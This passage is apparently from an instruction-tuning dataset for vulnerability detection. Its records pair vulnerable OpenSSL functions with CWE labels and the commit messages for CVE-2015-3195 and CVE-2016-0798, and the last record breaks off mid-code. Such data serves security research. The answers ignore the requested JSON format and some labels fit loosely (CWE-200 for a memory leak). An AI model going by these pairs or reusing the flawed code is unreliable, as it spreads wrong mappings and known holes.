+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: int ASN1_item_ex_d2i(ASN1_VALUE **pval, const unsigned char **in, long len,\n                     const ASN1_ITEM *it,\n                     int tag, int aclass, char opt, ASN1_TLC *ctx)\n{\n    const ASN1_TEMPLATE *tt, *errtt = NULL;\n    const ASN1_COMPAT_FUNCS *cf;\n    const ASN1_EXTERN_FUNCS *ef;\n    const ASN1_AUX *aux = it->funcs;\n    ASN1_aux_cb *asn1_cb;\n    const unsigned char *p = NULL, *q;\n    unsigned char *wp = NULL;   /* BIG FAT WARNING! BREAKS CONST WHERE USED */\n    unsigned char imphack = 0, oclass;\n    char seq_eoc, seq_nolen, cst, isopt;\n    long tmplen;\n    int i;\n    int otag;\n    int ret = 0;\n    ASN1_VALUE **pchptr, *ptmpval;\n    if (!pval)\n        return 0;\n    if (aux && aux->asn1_cb)\n        asn1_cb = aux->asn1_cb;\n    else\n        asn1_cb = 0;\n\n    switch (it->itype) {\n    case ASN1_ITYPE_PRIMITIVE:\n        if (it->templates) {\n            /*\n             * tagging or OPTIONAL is currently illegal on an item template\n             * because the flags can't get passed down. In practice this\n             * isn't a problem: we include the relevant flags from the item\n             * template in the template itself.\n             */\n            if ((tag != -1) || opt) {\n                ASN1err(ASN1_F_ASN1_ITEM_EX_D2I,\n                        ASN1_R_ILLEGAL_OPTIONS_ON_ITEM_TEMPLATE);\n                goto err;\n            }\n            return asn1_template_ex_d2i(pval, in, len,\n                                        it->templates, opt, ctx);\n        }\n        return asn1_d2i_ex_primitive(pval, in, len, it,\n                                     tag, aclass, opt, ctx);\n        break;\n\n    case ASN1_ITYPE_MSTRING:\n        p = *in;\n        /* Just read in tag and class */\n        ret = asn1_check_tlen(NULL, &otag, &oclass, NULL, NULL,\n                              &p, len, -1, 0, 1, ctx);\n        if (!ret) {\n            ASN1err(ASN1_F_ASN1_ITEM_EX_D2I, ERR_R_NESTED_ASN1_ERROR);\n            goto err;\n        }\n\n        /* Must be UNIVERSAL class */\n        if (oclass != V_ASN1_UNIVERSAL) {\n            /* If OPTIONAL, assume this is OK */\n            if (opt)\n                return -1;\n            ASN1err(ASN1_F_ASN1_ITEM_EX_D2I, ASN1_R_MSTRING_NOT_UNIVERSAL);\n            goto err;\n        }\n        /* Check tag matches bit map */\n        if (!(ASN1_tag2bit(otag) & it->utype)) {\n            /* If OPTIONAL, assume this is OK */\n            if (opt)\n                return -1;\n            ASN1err(ASN1_F_ASN1_ITEM_EX_D2I, ASN1_R_MSTRING_WRONG_TAG);\n            goto err;\n        }\n        return asn1_d2i_ex_primitive(pval, in, len, it, otag, 0, 0, ctx);\n\n    case ASN1_ITYPE_EXTERN:\n        /* Use new style d2i */\n        ef = it->funcs;\n        return ef->asn1_ex_d2i(pval, in, len, it, tag, aclass, opt, ctx);\n\n    case ASN1_ITYPE_COMPAT:\n        /* we must resort to old style evil hackery */\n        cf = it->funcs;\n\n        /* If OPTIONAL see if it is there */\n        if (opt) {\n            int exptag;\n            p = *in;\n            if (tag == -1)\n                exptag = it->utype;\n            else\n                exptag = tag;\n            /*\n             * Don't care about anything other than presence of expected tag\n             */\n\n            ret = asn1_check_tlen(NULL, NULL, NULL, NULL, NULL,\n                                  &p, len, exptag, aclass, 1, ctx);\n            if (!ret) {\n                ASN1err(ASN1_F_ASN1_ITEM_EX_D2I, ERR_R_NESTED_ASN1_ERROR);\n                goto err;\n            }\n            if (ret == -1)\n                return -1;\n        }\n\n        /*\n         * This is the old style evil hack IMPLICIT handling: since the\n         * underlying code is expecting a tag and class other than the one\n         * present we change the buffer temporarily then change it back\n         * afterwards. This doesn't and never did work for tags > 30. Yes\n         * this is *horrible* but it is only needed for old style d2i which\n         * will hopefully not be around for much longer. FIXME: should copy\n         * the buffer then modify it so the input buffer can be const: we\n         * should *always* copy because the old style d2i might modify the\n         * buffer.\n         */\n\n        if (tag != -1) {\n            wp = *(unsigned char **)in;\n            imphack = *wp;\n            if (p == NULL) {\n                ASN1err(ASN1_F_ASN1_ITEM_EX_D2I, ERR_R_NESTED_ASN1_ERROR);\n                goto err;\n            }\n            *wp = (unsigned char)((*p & V_ASN1_CONSTRUCTED)\n                                  | it->utype);\n        }\n\n        ptmpval = cf->asn1_d2i(pval, in, len);\n\n        if (tag != -1)\n            *wp = imphack;\n\n        if (ptmpval)\n            return 1;\n\n        ASN1err(ASN1_F_ASN1_ITEM_EX_D2I, ERR_R_NESTED_ASN1_ERROR);\n        goto err;\n\n    case ASN1_ITYPE_CHOICE:\n        if (asn1_cb && !asn1_cb(ASN1_OP_D2I_PRE, pval, it, NULL))\n            goto auxerr;\n        if (*pval) {\n            /* Free up and zero CHOICE value if initialised */\n            i = asn1_get_choice_selector(pval, it);\n            if ((i >= 0) && (i < it->tcount)) {\n                tt = it->templates + i;\n                pchptr = asn1_get_field_ptr(pval, tt);\n                ASN1_template_free(pchptr, tt);\n                asn1_set_choice_selector(pval, -1, it);\n            }\n        } else if (!ASN1_item_ex_new(pval, it)) {\n            ASN1err(ASN1_F_ASN1_ITEM_EX_D2I, ERR_R_NESTED_ASN1_ERROR);\n            goto err;\n        }\n        /* CHOICE type, try each possibility in turn */\n        p = *in;\n        for (i = 0, tt = it->templates; i < it->tcount; i++, tt++) {\n            pchptr = asn1_get_field_ptr(pval, tt);\n            /*\n             * We mark field as OPTIONAL so its absence can be recognised.\n             */\n            ret = asn1_template_ex_d2i(pchptr, &p, len, tt, 1, ctx);\n            /* If field not present, try the next one */\n            if (ret == -1)\n                continue;\n            /* If positive return, read OK, break loop */\n            if (ret > 0)\n                break;\n            /* Otherwise must be an ASN1 parsing error */\n            errtt = tt;\n            ASN1err(ASN1_F_ASN1_ITEM_EX_D2I, ERR_R_NESTED_ASN1_ERROR);\n            goto err;\n        }\n\n        /* Did we fall off the end without reading anything? */\n        if (i == it->tcount) {\n            /* If OPTIONAL, this is OK */\n            if (opt) {\n                /* Free and zero it */\n                ASN1_item_ex_free(pval, it);\n                return -1;\n            }\n            ASN1err(ASN1_F_ASN1_ITEM_EX_D2I, ASN1_R_NO_MATCHING_CHOICE_TYPE);\n            goto err;\n        }\n\n        asn1_set_choice_selector(pval, i, it);\n        *in = p;\n        if (asn1_cb && !asn1_cb(ASN1_OP_D2I_POST, pval, it, NULL))\n            goto auxerr;\n        return 1;\n\n    case ASN1_ITYPE_NDEF_SEQUENCE:\n    case ASN1_ITYPE_SEQUENCE:\n        p = *in;\n        tmplen = len;\n\n        /* If no IMPLICIT tagging set to SEQUENCE, UNIVERSAL */\n        if (tag == -1) {\n            tag = V_ASN1_SEQUENCE;\n            aclass = V_ASN1_UNIVERSAL;\n        }\n        /* Get SEQUENCE length and update len, p */\n        ret = asn1_check_tlen(&len, NULL, NULL, &seq_eoc, &cst,\n                              &p, len, tag, aclass, opt, ctx);\n        if (!ret) {\n            ASN1err(ASN1_F_ASN1_ITEM_EX_D2I, ERR_R_NESTED_ASN1_ERROR);\n            goto err;\n        } else if (ret == -1)\n            return -1;\n        if (aux && (aux->flags & ASN1_AFLG_BROKEN)) {\n            len = tmplen - (p - *in);\n            seq_nolen = 1;\n        }\n        /* If indefinite we don't do a length check */\n        else\n            seq_nolen = seq_eoc;\n        if (!cst) {\n            ASN1err(ASN1_F_ASN1_ITEM_EX_D2I, ASN1_R_SEQUENCE_NOT_CONSTRUCTED);\n            goto err;\n        }\n\n        if (!*pval && !ASN1_item_ex_new(pval, it)) {\n            ASN1err(ASN1_F_ASN1_ITEM_EX_D2I, ERR_R_NESTED_ASN1_ERROR);\n            goto err;\n        }\n\n        if (asn1_cb && !asn1_cb(ASN1_OP_D2I_PRE, pval, it, NULL))\n            goto auxerr;\n\n        /* Free up and zero any ADB found */\n        for (i = 0, tt = it->templates; i < it->tcount; i++, tt++) {\n            if (tt->flags & ASN1_TFLG_ADB_MASK) {\n                const ASN1_TEMPLATE *seqtt;\n                ASN1_VALUE **pseqval;\n                seqtt = asn1_do_adb(pval, tt, 1);\n                pseqval = asn1_get_field_ptr(pval, seqtt);\n                ASN1_template_free(pseqval, seqtt);\n            }\n        }\n\n        /* Get each field entry */\n        for (i = 0, tt = it->templates; i < it->tcount; i++, tt++) {\n            const ASN1_TEMPLATE *seqtt;\n            ASN1_VALUE **pseqval;\n            seqtt = asn1_do_adb(pval, tt, 1);\n            if (!seqtt)\n                goto err;\n            pseqval = asn1_get_field_ptr(pval, seqtt);\n            /* Have we ran out of data? */\n            if (!len)\n                break;\n            q = p;\n            if (asn1_check_eoc(&p, len)) {\n                if (!seq_eoc) {\n                    ASN1err(ASN1_F_ASN1_ITEM_EX_D2I, ASN1_R_UNEXPECTED_EOC);\n                    goto err;\n                }\n                len -= p - q;\n                seq_eoc = 0;\n                q = p;\n                break;\n            }\n            /*\n             * This determines the OPTIONAL flag value. The field cannot be\n             * omitted if it is the last of a SEQUENCE and there is still\n             * data to be read. This isn't strictly necessary but it\n             * increases efficiency in some cases.\n             */\n            if (i == (it->tcount - 1))\n                isopt = 0;\n            else\n                isopt = (char)(seqtt->flags & ASN1_TFLG_OPTIONAL);\n            /*\n             * attempt to read in field, allowing each to be OPTIONAL\n             */\n\n            ret = asn1_template_ex_d2i(pseqval, &p, len, seqtt, isopt, ctx);\n            if (!ret) {\n                errtt = seqtt;\n                goto err;\n            } else if (ret == -1) {\n                /*\n                 * OPTIONAL component absent. Free and zero the field.\n                 */\n                ASN1_template_free(pseqval, seqtt);\n                continue;\n            }\n            /* Update length */\n            len -= p - q;\n        }\n\n        /* Check for EOC if expecting one */\n        if (seq_eoc && !asn1_check_eoc(&p, len)) {\n            ASN1err(ASN1_F_ASN1_ITEM_EX_D2I, ASN1_R_MISSING_EOC);\n            goto err;\n        }\n        /* Check all data read */\n        if (!seq_nolen && len) {\n            ASN1err(ASN1_F_ASN1_ITEM_EX_D2I, ASN1_R_SEQUENCE_LENGTH_MISMATCH);\n            goto err;\n        }\n\n        /*\n         * If we get here we've got no more data in the SEQUENCE, however we\n         * may not have read all fields so check all remaining are OPTIONAL\n         * and clear any that are.\n         */\n        for (; i < it->tcount; tt++, i++) {\n            const ASN1_TEMPLATE *seqtt;\n            seqtt = asn1_do_adb(pval, tt, 1);\n            if (!seqtt)\n                goto err;\n            if (seqtt->flags & ASN1_TFLG_OPTIONAL) {\n                ASN1_VALUE **pseqval;\n                pseqval = asn1_get_field_ptr(pval, seqtt);\n                ASN1_template_free(pseqval, seqtt);\n            } else {\n                errtt = seqtt;\n                ASN1err(ASN1_F_ASN1_ITEM_EX_D2I, ASN1_R_FIELD_MISSING);\n                goto err;\n            }\n        }\n        /* Save encoding */\n        if (!asn1_enc_save(pval, *in, p - *in, it))\n            goto auxerr;\n        *in = p;\n        if (asn1_cb && !asn1_cb(ASN1_OP_D2I_POST, pval, it, NULL))\n            goto auxerr;\n        return 1;\n\n    default:\n        return 0;\n    }\n auxerr:\n    ASN1err(ASN1_F_ASN1_ITEM_EX_D2I, ASN1_R_AUX_ERROR);\n err:\n    ASN1_item_ex_free(pval, it);\n    if (errtt)\n        ERR_add_error_data(4, \"Field=\", errtt->field_name,\n                           \", Type=\", it->sname);\n    else\n        ERR_add_error_data(2, \"Type=\", it->sname);\n    return 0;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-200'], 'message': 'Fix leak with ASN.1 combine.\n\nWhen parsing a combined structure pass a flag to the decode routine\nso on error a pointer to the parent structure is not zeroed as\nthis will leak any additional components in the parent.\n\nThis can leak memory in any application parsing PKCS#7 or CMS structures.\n\nCVE-2015-3195.\n\nThanks to Adam Langley (Google/BoringSSL) for discovering this bug using\nlibFuzzer.\n\nPR#4131\n\nReviewed-by: Richard Levitte '"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: static int www_body(int s, int stype, unsigned char *context)\n{\n    char *buf = NULL;\n    int ret = 1;\n    int i, j, k, dot;\n    SSL *con;\n    const SSL_CIPHER *c;\n    BIO *io, *ssl_bio, *sbio;\n#ifdef RENEG\n    int total_bytes = 0;\n#endif\n    int width;\n    fd_set readfds;\n\n    /* Set width for a select call if needed */\n    width = s + 1;\n\n    buf = app_malloc(bufsize, \"server www buffer\");\n    io = BIO_new(BIO_f_buffer());\n    ssl_bio = BIO_new(BIO_f_ssl());\n    if ((io == NULL) || (ssl_bio == NULL))\n        goto err;\n\n#ifdef FIONBIO\n    if (s_nbio) {\n        unsigned long sl = 1;\n\n        if (!s_quiet)\n            BIO_printf(bio_err, \"turning on non blocking io\\n\");\n        if (BIO_socket_ioctl(s, FIONBIO, &sl) < 0)\n            ERR_print_errors(bio_err);\n    }\n#endif\n\n    /* lets make the output buffer a reasonable size */\n    if (!BIO_set_write_buffer_size(io, bufsize))\n        goto err;\n\n    if ((con = SSL_new(ctx)) == NULL)\n        goto err;\n\n    if (s_tlsextdebug) {\n        SSL_set_tlsext_debug_callback(con, tlsext_cb);\n        SSL_set_tlsext_debug_arg(con, bio_s_out);\n    }\n\n    if (context && !SSL_set_session_id_context(con, context,\n                        strlen((char *)context)))\n        goto err;\n\n    sbio = BIO_new_socket(s, BIO_NOCLOSE);\n    if (s_nbio_test) {\n        BIO *test;\n\n        test = BIO_new(BIO_f_nbio_test());\n        sbio = BIO_push(test, sbio);\n    }\n    SSL_set_bio(con, sbio, sbio);\n    SSL_set_accept_state(con);\n\n    /* SSL_set_fd(con,s); */\n    BIO_set_ssl(ssl_bio, con, BIO_CLOSE);\n    BIO_push(io, ssl_bio);\n#ifdef CHARSET_EBCDIC\n    io = BIO_push(BIO_new(BIO_f_ebcdic_filter()), io);\n#endif\n\n    if (s_debug) {\n        BIO_set_callback(SSL_get_rbio(con), bio_dump_callback);\n        BIO_set_callback_arg(SSL_get_rbio(con), (char *)bio_s_out);\n    }\n    if (s_msg) {\n#ifndef OPENSSL_NO_SSL_TRACE\n        if (s_msg == 2)\n            SSL_set_msg_callback(con, SSL_trace);\n        else\n#endif\n            SSL_set_msg_callback(con, msg_cb);\n        SSL_set_msg_callback_arg(con, bio_s_msg ? bio_s_msg : bio_s_out);\n    }\n\n    for (;;) {\n        i = BIO_gets(io, buf, bufsize - 1);\n        if (i < 0) {            /* error */\n            if (!BIO_should_retry(io) && !SSL_waiting_for_async(con)) {\n                if (!s_quiet)\n                    ERR_print_errors(bio_err);\n                goto err;\n            } else {\n                BIO_printf(bio_s_out, \"read R BLOCK\\n\");\n#ifndef OPENSSL_NO_SRP\n                if (BIO_should_io_special(io)\n                    && BIO_get_retry_reason(io) == BIO_RR_SSL_X509_LOOKUP) {\n                    BIO_printf(bio_s_out, \"LOOKUP renego during read\\n\");\n                    srp_callback_parm.user =\n                        SRP_VBASE_get_by_user(srp_callback_parm.vb,\n                                              srp_callback_parm.login);\n                    if (srp_callback_parm.user)\n                        BIO_printf(bio_s_out, \"LOOKUP done %s\\n\",\n                                   srp_callback_parm.user->info);\n                    else\n                        BIO_printf(bio_s_out, \"LOOKUP not successful\\n\");\n                    continue;\n                }\n#endif\n#if defined(OPENSSL_SYS_NETWARE)\n                delay(1000);\n#elif !defined(OPENSSL_SYS_MSDOS)\n                sleep(1);\n#endif\n                continue;\n            }\n        } else if (i == 0) {    /* end of input */\n            ret = 1;\n            goto end;\n        }\n\n        /* else we have data */\n        if (((www == 1) && (strncmp(\"GET \", buf, 4) == 0)) ||\n            ((www == 2) && (strncmp(\"GET /stats \", buf, 11) == 0))) {\n            char *p;\n            X509 *peer;\n            STACK_OF(SSL_CIPHER) *sk;\n            static const char *space = \"                          \";\n\n            if (www == 1 && strncmp(\"GET /reneg\", buf, 10) == 0) {\n                if (strncmp(\"GET /renegcert\", buf, 14) == 0)\n                    SSL_set_verify(con,\n                                   SSL_VERIFY_PEER | SSL_VERIFY_CLIENT_ONCE,\n                                   NULL);\n                i = SSL_renegotiate(con);\n                BIO_printf(bio_s_out, \"SSL_renegotiate -> %d\\n\", i);\n                /* Send the HelloRequest */\n                i = SSL_do_handshake(con);\n                if (i <= 0) {\n                    BIO_printf(bio_s_out, \"SSL_do_handshake() Retval %d\\n\",\n                               SSL_get_error(con, i));\n                    ERR_print_errors(bio_err);\n                    goto err;\n                }\n                /* Wait for a ClientHello to come back */\n                FD_ZERO(&readfds);\n                openssl_fdset(s, &readfds);\n                i = select(width, (void *)&readfds, NULL, NULL, NULL);\n                if (i <= 0 || !FD_ISSET(s, &readfds)) {\n                    BIO_printf(bio_s_out, \"Error waiting for client response\\n\");\n                    ERR_print_errors(bio_err);\n                    goto err;\n                }\n                /*\n                 * We're not acutally expecting any data here and we ignore\n                 * any that is sent. This is just to force the handshake that\n                 * we're expecting to come from the client. If they haven't\n                 * sent one there's not much we can do.\n                 */\n                BIO_gets(io, buf, bufsize - 1);\n            }\n\n            BIO_puts(io,\n                     \"HTTP/1.0 200 ok\\r\\nContent-type: text/html\\r\\n\\r\\n\");\n            BIO_puts(io, \"\\n\");\n            BIO_puts(io, \"
\\n\");\n/*                      BIO_puts(io,OpenSSL_version(OPENSSL_VERSION));*/\n            BIO_puts(io, \"\\n\");\n            for (i = 0; i < local_argc; i++) {\n                const char *myp;\n                for (myp = local_argv[i]; *myp; myp++)\n                    switch (*myp) {\n                    case '<':\n                        BIO_puts(io, \"<\");\n                        break;\n                    case '>':\n                        BIO_puts(io, \">\");\n                        break;\n                    case '&':\n                        BIO_puts(io, \"&\");\n                        break;\n                    default:\n                        BIO_write(io, myp, 1);\n                        break;\n                    }\n                BIO_write(io, \" \", 1);\n            }\n            BIO_puts(io, \"\\n\");\n\n            BIO_printf(io,\n                       \"Secure Renegotiation IS%s supported\\n\",\n                       SSL_get_secure_renegotiation_support(con) ?\n                       \"\" : \" NOT\");\n\n            /*\n             * The following is evil and should not really be done\n             */\n            BIO_printf(io, \"Ciphers supported in s_server binary\\n\");\n            sk = SSL_get_ciphers(con);\n            j = sk_SSL_CIPHER_num(sk);\n            for (i = 0; i < j; i++) {\n                c = sk_SSL_CIPHER_value(sk, i);\n                BIO_printf(io, \"%-11s:%-25s \",\n                           SSL_CIPHER_get_version(c), SSL_CIPHER_get_name(c));\n                if ((((i + 1) % 2) == 0) && (i + 1 != j))\n                    BIO_puts(io, \"\\n\");\n            }\n            BIO_puts(io, \"\\n\");\n            p = SSL_get_shared_ciphers(con, buf, bufsize);\n            if (p != NULL) {\n                BIO_printf(io,\n                           \"---\\nCiphers common between both SSL end points:\\n\");\n                j = i = 0;\n                while (*p) {\n                    if (*p == ':') {\n                        BIO_write(io, space, 26 - j);\n                        i++;\n                        j = 0;\n                        BIO_write(io, ((i % 3) ? \" \" : \"\\n\"), 1);\n                    } else {\n                        BIO_write(io, p, 1);\n                        j++;\n                    }\n                    p++;\n                }\n                BIO_puts(io, \"\\n\");\n            }\n            ssl_print_sigalgs(io, con);\n#ifndef OPENSSL_NO_EC\n            ssl_print_curves(io, con, 0);\n#endif\n            BIO_printf(io, (SSL_session_reused(con)\n                            ? \"---\\nReused, \" : \"---\\nNew, \"));\n            c = SSL_get_current_cipher(con);\n            BIO_printf(io, \"%s, Cipher is %s\\n\",\n                       SSL_CIPHER_get_version(c), SSL_CIPHER_get_name(c));\n            SSL_SESSION_print(io, SSL_get_session(con));\n            BIO_printf(io, \"---\\n\");\n            print_stats(io, SSL_get_SSL_CTX(con));\n            BIO_printf(io, \"---\\n\");\n            peer = SSL_get_peer_certificate(con);\n            if (peer != NULL) {\n                BIO_printf(io, \"Client certificate\\n\");\n                X509_print(io, peer);\n                PEM_write_bio_X509(io, peer);\n            } else\n                BIO_puts(io, \"no client certificate available\\n\");\n            BIO_puts(io, \"\\r\\n\\r\\n\");\n            break;\n        } else if ((www == 2 || www == 3)\n                   && (strncmp(\"GET /\", buf, 5) == 0)) {\n            BIO *file;\n            char *p, *e;\n            static const char *text =\n                \"HTTP/1.0 200 ok\\r\\nContent-type: text/plain\\r\\n\\r\\n\";\n\n            /* skip the '/' */\n            p = &(buf[5]);\n\n            dot = 1;\n            for (e = p; *e != '\\0'; e++) {\n                if (e[0] == ' ')\n                    break;\n\n                switch (dot) {\n                case 1:\n                    dot = (e[0] == '.') ? 2 : 0;\n                    break;\n                case 2:\n                    dot = (e[0] == '.') ? 3 : 0;\n                    break;\n                case 3:\n                    dot = (e[0] == '/') ? -1 : 0;\n                    break;\n                }\n                if (dot == 0)\n                    dot = (e[0] == '/') ? 1 : 0;\n            }\n            dot = (dot == 3) || (dot == -1); /* filename contains \"..\"\n                                              * component */\n\n            if (*e == '\\0') {\n                BIO_puts(io, text);\n                BIO_printf(io, \"'%s' is an invalid file name\\r\\n\", p);\n                break;\n            }\n            *e = '\\0';\n\n            if (dot) {\n                BIO_puts(io, text);\n                BIO_printf(io, \"'%s' contains '..' reference\\r\\n\", p);\n                break;\n            }\n\n            if (*p == '/') {\n                BIO_puts(io, text);\n                BIO_printf(io, \"'%s' is an invalid path\\r\\n\", p);\n                break;\n            }\n\n            /* if a directory, do the index thang */\n            if (app_isdir(p) > 0) {\n                BIO_puts(io, text);\n                BIO_printf(io, \"'%s' is a directory\\r\\n\", p);\n                break;\n            }\n\n            if ((file = BIO_new_file(p, \"r\")) == NULL) {\n                BIO_puts(io, text);\n                BIO_printf(io, \"Error opening '%s'\\r\\n\", p);\n                ERR_print_errors(io);\n                break;\n            }\n\n            if (!s_quiet)\n                BIO_printf(bio_err, \"FILE:%s\\n\", p);\n\n            if (www == 2) {\n                i = strlen(p);\n                if (((i > 5) && (strcmp(&(p[i - 5]), \".html\") == 0)) ||\n                    ((i > 4) && (strcmp(&(p[i - 4]), \".php\") == 0)) ||\n                    ((i > 4) && (strcmp(&(p[i - 4]), \".htm\") == 0)))\n                    BIO_puts(io,\n                             \"HTTP/1.0 200 ok\\r\\nContent-type: text/html\\r\\n\\r\\n\");\n                else\n                    BIO_puts(io,\n                             \"HTTP/1.0 200 ok\\r\\nContent-type: text/plain\\r\\n\\r\\n\");\n            }\n            /* send the file */\n            for (;;) {\n                i = BIO_read(file, buf, bufsize);\n                if (i <= 0)\n                    break;\n\n#ifdef RENEG\n                total_bytes += i;\n                BIO_printf(bio_err, \"%d\\n\", i);\n                if (total_bytes > 3 * 1024) {\n                    total_bytes = 0;\n                    BIO_printf(bio_err, \"RENEGOTIATE\\n\");\n                    SSL_renegotiate(con);\n                }\n#endif\n\n                for (j = 0; j < i;) {\n#ifdef RENEG\n                    {\n                        static count = 0;\n                        if (++count == 13) {\n                            SSL_renegotiate(con);\n                        }\n                    }\n#endif\n                    k = BIO_write(io, &(buf[j]), i - j);\n                    if (k <= 0) {\n                        if (!BIO_should_retry(io)  && !SSL_waiting_for_async(con))\n                            goto write_error;\n                        else {\n                            BIO_printf(bio_s_out, \"rwrite W BLOCK\\n\");\n                        }\n                    } else {\n                        j += k;\n                    }\n                }\n            }\n write_error:\n            BIO_free(file);\n            break;\n        }\n    }\n\n    for (;;) {\n        i = (int)BIO_flush(io);\n        if (i <= 0) {\n            if (!BIO_should_retry(io))\n                break;\n        } else\n            break;\n    }\n end:\n    /* make sure we re-use sessions */\n    SSL_set_shutdown(con, SSL_SENT_SHUTDOWN | SSL_RECEIVED_SHUTDOWN);\n\n err:\n    if (ret >= 0)\n        BIO_printf(bio_s_out, \"ACCEPT\\n\");\n    OPENSSL_free(buf);\n    BIO_free_all(io);\n    return (ret);\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-399'], 'message': 'CVE-2016-0798: avoid memory leak in SRP\n\nThe SRP user database lookup method SRP_VBASE_get_by_user had confusing\nmemory management semantics; the returned pointer was sometimes newly\nallocated, and sometimes owned by the callee. The calling code has no\nway of distinguishing these two cases.\n\nSpecifically, SRP servers that configure a secret seed to hide valid\nlogin information are vulnerable to a memory leak: an attacker\nconnecting with an invalid username can cause a memory leak of around\n300 bytes per connection.\n\nServers that do not configure SRP, or configure SRP but do not configure\na seed are not vulnerable.\n\nIn Apache, the seed directive is known as SSLSRPUnknownUserSeed.\n\nTo mitigate the memory leak, the seed handling in SRP_VBASE_get_by_user\nis now disabled even if the user has configured a seed.\n\nApplications are advised to migrate to SRP_VBASE_get1_by_user. However,\nnote that OpenSSL makes no strong guarantees about the\nindistinguishability of valid and invalid logins. In particular,\ncomputations are currently not carried out in constant time.\n\nReviewed-by: Rich Salz '"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: _dopr(char **sbuffer,\n      char **buffer,\n      size_t *maxlen,\n      size_t *retlen, int *truncated, const char *format, va_list args)\n{\n    char ch;\n    LLONG value;\n    LDOUBLE fvalue;\n    char *strvalue;\n    int min;\n    int max;\n    int state;\n    int flags;\n    int cflags;\n    size_t currlen;\n\n    state = DP_S_DEFAULT;\n    flags = currlen = cflags = min = 0;\n    max = -1;\n    ch = *format++;\n\n    while (state != DP_S_DONE) {\n        if (ch == '\\0' || (buffer == NULL && currlen >= *maxlen))\n            state = DP_S_DONE;\n\n        switch (state) {\n        case DP_S_DEFAULT:\n            if (ch == '%')\n                state = DP_S_FLAGS;\n            else\n                doapr_outch(sbuffer, buffer, &currlen, maxlen, ch);\n            ch = *format++;\n            break;\n        case DP_S_FLAGS:\n            switch (ch) {\n            case '-':\n                flags |= DP_F_MINUS;\n                ch = *format++;\n                break;\n            case '+':\n                flags |= DP_F_PLUS;\n                ch = *format++;\n                break;\n            case ' ':\n                flags |= DP_F_SPACE;\n                ch = *format++;\n                break;\n            case '#':\n                flags |= DP_F_NUM;\n                ch = *format++;\n                break;\n            case '0':\n                flags |= DP_F_ZERO;\n                ch = *format++;\n                break;\n            default:\n                state = DP_S_MIN;\n                break;\n            }\n            break;\n        case DP_S_MIN:\n            if (isdigit((unsigned char)ch)) {\n                min = 10 * min + char_to_int(ch);\n                ch = *format++;\n            } else if (ch == '*') {\n                min = va_arg(args, int);\n                ch = *format++;\n                state = DP_S_DOT;\n            } else\n                state = DP_S_DOT;\n            break;\n        case DP_S_DOT:\n            if (ch == '.') {\n                state = DP_S_MAX;\n                ch = *format++;\n            } else\n                state = DP_S_MOD;\n            break;\n        case DP_S_MAX:\n            if (isdigit((unsigned char)ch)) {\n                if (max < 0)\n                    max = 0;\n                max = 10 * max + char_to_int(ch);\n                ch = *format++;\n            } else if (ch == '*') {\n                max = va_arg(args, int);\n                ch = *format++;\n                state = DP_S_MOD;\n            } else\n                state = DP_S_MOD;\n            break;\n        case DP_S_MOD:\n            switch (ch) {\n            case 'h':\n                cflags = DP_C_SHORT;\n                ch = *format++;\n                break;\n            case 'l':\n                if (*format == 'l') {\n                    cflags = DP_C_LLONG;\n                    format++;\n                } else\n                    cflags = DP_C_LONG;\n                ch = *format++;\n                break;\n            case 'q':\n                cflags = DP_C_LLONG;\n                ch = *format++;\n                break;\n            case 'L':\n                cflags = DP_C_LDOUBLE;\n                ch = *format++;\n                break;\n            default:\n                break;\n            }\n            state = DP_S_CONV;\n            break;\n        case DP_S_CONV:\n            switch (ch) {\n            case 'd':\n            case 'i':\n                switch (cflags) {\n                case DP_C_SHORT:\n                    value = (short int)va_arg(args, int);\n                    break;\n                case DP_C_LONG:\n                    value = va_arg(args, long int);\n                    break;\n                case DP_C_LLONG:\n                    value = va_arg(args, LLONG);\n                    break;\n                default:\n                    value = va_arg(args, int);\n                    break;\n                }\n                fmtint(sbuffer, buffer, &currlen, maxlen,\n                       value, 10, min, max, flags);\n                break;\n            case 'X':\n                flags |= DP_F_UP;\n                /* FALLTHROUGH */\n            case 'x':\n            case 'o':\n            case 'u':\n                flags |= DP_F_UNSIGNED;\n                switch (cflags) {\n                case DP_C_SHORT:\n                    value = (unsigned short int)va_arg(args, unsigned int);\n                    break;\n                case DP_C_LONG:\n                    value = (LLONG) va_arg(args, unsigned long int);\n                    break;\n                case DP_C_LLONG:\n                    value = va_arg(args, unsigned LLONG);\n                    break;\n                default:\n                    value = (LLONG) va_arg(args, unsigned int);\n                    break;\n                }\n                fmtint(sbuffer, buffer, &currlen, maxlen, value,\n                       ch == 'o' ? 8 : (ch == 'u' ? 10 : 16),\n                       min, max, flags);\n                break;\n            case 'f':\n                if (cflags == DP_C_LDOUBLE)\n                    fvalue = va_arg(args, LDOUBLE);\n                else\n                    fvalue = va_arg(args, double);\n                fmtfp(sbuffer, buffer, &currlen, maxlen,\n                      fvalue, min, max, flags);\n                break;\n            case 'E':\n                flags |= DP_F_UP;\n            case 'e':\n                if (cflags == DP_C_LDOUBLE)\n                    fvalue = va_arg(args, LDOUBLE);\n                else\n                    fvalue = va_arg(args, double);\n                break;\n            case 'G':\n                flags |= DP_F_UP;\n            case 'g':\n                if (cflags == DP_C_LDOUBLE)\n                    fvalue = va_arg(args, LDOUBLE);\n                else\n                    fvalue = va_arg(args, double);\n                break;\n            case 'c':\n                doapr_outch(sbuffer, buffer, &currlen, maxlen,\n                            va_arg(args, int));\n                break;\n            case 's':\n                strvalue = va_arg(args, char *);\n                if (max < 0) {\n                    if (buffer)\n                        max = INT_MAX;\n                    else\n                        max = *maxlen;\n                }\n                fmtstr(sbuffer, buffer, &currlen, maxlen, strvalue,\n                       flags, min, max);\n                break;\n            case 'p':\n                value = (size_t)va_arg(args, void *);\n                fmtint(sbuffer, buffer, &currlen, maxlen,\n                       value, 16, min, max, flags | DP_F_NUM);\n                break;\n            case 'n':          /* XXX */\n                if (cflags == DP_C_SHORT) {\n                    short int *num;\n                    